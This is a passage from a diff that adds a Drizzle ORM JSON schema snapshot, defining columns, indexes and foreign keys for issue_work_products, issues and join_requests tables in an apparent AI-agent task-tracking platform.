+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "metadata": {
+          "name": "metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_work_products_company_issue_type_idx": {
+          "name": "issue_work_products_company_issue_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_execution_workspace_type_idx": {
+          "name": "issue_work_products_company_execution_workspace_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_provider_external_id_idx": {
+          "name": "issue_work_products_company_provider_external_id_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "provider",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "external_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_work_products_company_updated_idx": {
+          "name": "issue_work_products_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_work_products_company_id_companies_id_fk": {
+          "name": "issue_work_products_company_id_companies_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_project_id_projects_id_fk": {
+          "name": "issue_work_products_project_id_projects_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_issue_id_issues_id_fk": {
+          "name": "issue_work_products_issue_id_issues_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issue_work_products_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk": {
+          "name": "issue_work_products_runtime_service_id_workspace_runtime_services_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "workspace_runtime_services",
+          "columnsFrom": [
+            "runtime_service_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_work_products_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_work_products_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_work_products",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issues": {
+      "name": "issues",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "project_id": {
+          "name": "project_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "project_workspace_id": {
+          "name": "project_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "goal_id": {
+          "name": "goal_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "parent_id": {
+          "name": "parent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "description": {
+          "name": "description",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'backlog'"
+        },
+        "work_mode": {
+          "name": "work_mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'standard'"
+        },
+        "harness_kind": {
+          "name": "harness_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "priority": {
+          "name": "priority",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'medium'"
+        },
+        "review_policy": {
+          "name": "review_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "checkout_run_id": {
+          "name": "checkout_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_run_id": {
+          "name": "execution_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_agent_name_key": {
+          "name": "execution_agent_name_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_locked_at": {
+          "name": "execution_locked_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "responsible_user_id": {
+          "name": "responsible_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_number": {
+          "name": "issue_number",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "identifier": {
+          "name": "identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_kind": {
+          "name": "origin_kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'manual'"
+        },
+        "origin_id": {
+          "name": "origin_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_run_id": {
+          "name": "origin_run_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "origin_fingerprint": {
+          "name": "origin_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'default'"
+        },
+        "request_depth": {
+          "name": "request_depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "billing_code": {
+          "name": "billing_code",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_adapter_overrides": {
+          "name": "assignee_adapter_overrides",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_policy": {
+          "name": "execution_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_state": {
+          "name": "execution_state",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_next_check_at": {
+          "name": "monitor_next_check_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_wake_requested_at": {
+          "name": "monitor_wake_requested_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_last_triggered_at": {
+          "name": "monitor_last_triggered_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_attempt_count": {
+          "name": "monitor_attempt_count",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "monitor_notes": {
+          "name": "monitor_notes",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "monitor_scheduled_by": {
+          "name": "monitor_scheduled_by",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_id": {
+          "name": "execution_workspace_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_preference": {
+          "name": "execution_workspace_preference",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "execution_workspace_settings": {
+          "name": "execution_workspace_settings",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_trust": {
+          "name": "source_trust",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "unblock_descriptor": {
+          "name": "unblock_descriptor",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_transition_at": {
+          "name": "blocked_transition_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "blocked_owner_notified_at": {
+          "name": "blocked_owner_notified_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "started_at": {
+          "name": "started_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "completed_at": {
+          "name": "completed_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "cancelled_at": {
+          "name": "cancelled_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "hidden_at": {
+          "name": "hidden_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issues_company_status_idx": {
+          "name": "issues_company_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_harness_kind_idx": {
+          "name": "issues_company_harness_kind_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "harness_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_status_idx": {
+          "name": "issues_company_assignee_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_assignee_user_status_idx": {
+          "name": "issues_company_assignee_user_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "assignee_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_responsible_user_idx": {
+          "name": "issues_company_responsible_user_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "responsible_user_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_parent_idx": {
+          "name": "issues_company_parent_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_idx": {
+          "name": "issues_company_project_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_origin_idx": {
+          "name": "issues_company_origin_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_project_workspace_idx": {
+          "name": "issues_company_project_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "project_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_execution_workspace_idx": {
+          "name": "issues_company_execution_workspace_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "execution_workspace_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_monitor_due_idx": {
+          "name": "issues_company_monitor_due_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "monitor_next_check_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_updated_idx": {
+          "name": "issues_company_updated_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "updated_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_created_idx": {
+          "name": "issues_company_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_open_normalized_title_created_idx": {
+          "name": "issues_open_normalized_title_created_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "parent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "lower(regexp_replace(btrim(\"title\"), '\\s+', ' ', 'g'))",
+              "asc": true,
+              "isExpression": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "where": "\"issues\".\"hidden_at\" is null and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_company_priority_idx": {
+          "name": "issues_company_priority_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "priority",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_identifier_idx": {
+          "name": "issues_identifier_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_title_search_idx": {
+          "name": "issues_title_search_idx",
+          "columns": [
+            {
+              "expression": "title",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_identifier_search_idx": {
+          "name": "issues_identifier_search_idx",
+          "columns": [
+            {
+              "expression": "identifier",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_description_search_idx": {
+          "name": "issues_description_search_idx",
+          "columns": [
+            {
+              "expression": "description",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last",
+              "opclass": "gin_trgm_ops"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "gin",
+          "with": {}
+        },
+        "issues_open_routine_execution_uq": {
+          "name": "issues_open_routine_execution_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'routine_execution'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"execution_run_id\" is not null\n          and \"issues\".\"status\" in ('backlog', 'todo', 'in_progress', 'in_review', 'blocked')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_incident_uq": {
+          "name": "issues_active_liveness_recovery_incident_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_liveness_recovery_leaf_uq": {
+          "name": "issues_active_liveness_recovery_leaf_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_fingerprint",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'harness_liveness_escalation'\n          and \"issues\".\"origin_fingerprint\" <> 'default'\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stale_run_evaluation_uq": {
+          "name": "issues_active_stale_run_evaluation_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stale_active_run_evaluation'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_task_watchdog_uq": {
+          "name": "issues_active_task_watchdog_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'task_watchdog'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_productivity_review_uq": {
+          "name": "issues_active_productivity_review_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'issue_productivity_review'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_active_stranded_issue_recovery_uq": {
+          "name": "issues_active_stranded_issue_recovery_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "origin_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'stranded_issue_recovery'\n          and \"issues\".\"origin_id\" is not null\n          and \"issues\".\"hidden_at\" is null\n          and \"issues\".\"status\" not in ('done', 'cancelled')",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issues_onboarding_first_task_uq": {
+          "name": "issues_onboarding_first_task_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issues\".\"origin_kind\" = 'onboarding_first_task'",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issues_company_id_companies_id_fk": {
+          "name": "issues_company_id_companies_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_id_projects_id_fk": {
+          "name": "issues_project_id_projects_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "projects",
+          "columnsFrom": [
+            "project_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_project_workspace_id_project_workspaces_id_fk": {
+          "name": "issues_project_workspace_id_project_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "project_workspaces",
+          "columnsFrom": [
+            "project_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_goal_id_goals_id_fk": {
+          "name": "issues_goal_id_goals_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "goals",
+          "columnsFrom": [
+            "goal_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_parent_id_issues_id_fk": {
+          "name": "issues_parent_id_issues_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_assignee_agent_id_agents_id_fk": {
+          "name": "issues_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_checkout_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_checkout_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "checkout_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_execution_run_id_heartbeat_runs_id_fk": {
+          "name": "issues_execution_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "execution_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issues_created_by_agent_id_agents_id_fk": {
+          "name": "issues_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issues_execution_workspace_id_execution_workspaces_id_fk": {
+          "name": "issues_execution_workspace_id_execution_workspaces_id_fk",
+          "tableFrom": "issues",
+          "tableTo": "execution_workspaces",
+          "columnsFrom": [
+            "execution_workspace_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.join_requests": {
+      "name": "join_requests",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "invite_id": {
+          "name": "invite_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "request_type": {
+          "name": "request_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending_approval'"
+        },
+        "request_ip": {
+          "name": "request_ip",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "requesting_user_id": {
+          "name": "requesting_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "request_email_snapshot": {
+          "name": "request_email_snapshot",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "agent_name": {
+          "name": "agent_name",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "adapter_type": {
